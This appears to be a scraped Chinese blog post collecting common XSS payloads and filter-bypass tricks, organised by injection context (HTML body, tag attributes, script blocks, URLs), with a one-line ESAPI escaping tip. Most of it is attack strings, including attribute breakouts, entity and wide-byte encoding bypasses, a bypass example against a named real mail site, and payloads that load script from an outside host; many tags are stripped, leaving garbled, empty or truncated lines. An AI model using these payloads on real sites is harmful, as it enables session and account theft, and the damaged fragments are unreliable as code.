XSS常见Paylaod

XSS常见Payload总结

XSS漏洞的存在与发生伴随两个概念: 输入函数和输出函数。XSS攻击Payload可以注入位置相当灵活,以下是可以构造动态内容不同位置:

1.HTML中直接显示"用户可控"数据导致XSS注入
2.HTML标签属性注入"用户可控"数据, 如input body等标签 
3.注入"用户可控"数据
4.URL注入 "用户可控"数据
5.ajax、Json技术下注入 "用户可控"数据
6.flash环境下注入 "用户可控"数据

1. 在HTML中显示"用户可控"数据导致的XSS注入

1.1 大小写不敏感

   

1.2 嵌套绕过Ipt>

1.3 svg 注入(HTML5 支持内联 SVG)



1.4 执行代码转换成unicode编码,再通过eval执行



防御方式: HTML中显示"用户可控"数据导致的XSS注入, 输出的数据都需要进行Html Escape把能够触发XSS攻击的特殊字符进行转义,ESAPI提供Html实体编码的Java API可以对该种类型的不可信的数据进行转义 ESAPI.encoder().encodeForHTML(input)

XSS常见Paylaod_第1张图片
image

2. HTML标签属性注入"用户可控"数据, 如input body等标签

很多时候输出发生在HTML属性, 例如 ,再比如 等

2.1 自行闭合双引号构造闭合标签:

" onclick="alert(1)
">
">
2
aaa
aaa
构造on事件:  " onmouseover=alert(document.domain)>
增加注释符//: " onmouseover=alert(document.domain)> //

利用html5 autofocus功能进行XSS:

aaaaa" name="javasCript:alert()" autofocus onfocus="location=this.name" aaa">

很多时候遇到的场景并不会这么简单, 程序员会将双引号 " 过滤为 " 例如

Form标签闭合引号:

#action后面直接空格     
     
     
     

2.2 两个常见的输出例子

的例子。

xxxx 的例子。

实际上, onxxxx="[输出]" 和 href="javascript:[输出]" 与 没有太大区别。因为[输出]所在的地方,都是javascript脚本。

但是 如果被过滤,往往没有太好的办法。而上面这2种情况,则有一个很好的办法绕过过滤。

在HTML属性中,会自动对实体字符进行转义,例如 是等效的


由于单引号'被过滤,我们可以将'写为'

location.href='........&key=aaaaaa'
location.href='........&key=aaaaaa'+alert(1)+''
location.href='........&key=aaaaaa'+alert(1)+'‘

接着我们把代码转换为 url 的编码。 &-> %26, # -> %23最后

key=%26%23x27;%2balert(1)%2b%26%2aaaaaaa3x27;

缺陷点是发生在 onkeydown 或 a 标签的 href 属性中,无法自动触发,因而使得威胁减小,如果是发生在 img 的 onload 属性,则非常可能导致自动触发

2.3 特殊字符&

许多浏览器允许在属性中使用&{js表达式}


XSS常见Paylaod_第2张图片
图片.png

3. 中XSS注入

用户输入内容直接显示在代码执行上下文中,我们可以 首先判断,是否过滤了* < , > , /* 等特殊符号,如果没有被过滤可以XSS可能性就很高

3.1 利用闭合前面的之间的情况,很多程序员都是会进行过滤的如果页面是gbxxxx系列的编码,那么我们尝试一下宽字节呢?

t=%c0%22;alert(1);//aaaaaa

3.3 某些情况下,仅仅需要一个反斜线,就可以绕过过滤了

http://mail.qq.com/cgi-bin/login?vt=passport&ss=aaa&from=bbb&

经过测试,我们可以看到,双引号是用不了, 但是 反斜线还可以使用。


location.href="........."+"&ss=aaaa"+"&from=bbb"+"¶m=";//后面省略。

XSS常见语句整理

>"'>

>"'>

"+alert('XSS')+"

'>

='>

%0a%0a.jsp

%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html

a.jsp/

">

"";'>out


alert('XSS');

.XSS{background-image:url("javascript.:alert('XSS')");}

BODY{background:url("javascript.:alert('XSS')")}

getURL("javascript.:alert('XSS')")

a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);

"> <"

"SRC="http://xss.ha.ckers.org/a.js">

'"SRC="http://xss.ha.ckers.org/a.js">

PTSRC="http://xss.ha.ckers.org/a.js">

link"

你可能感兴趣的:(XSS常见Paylaod)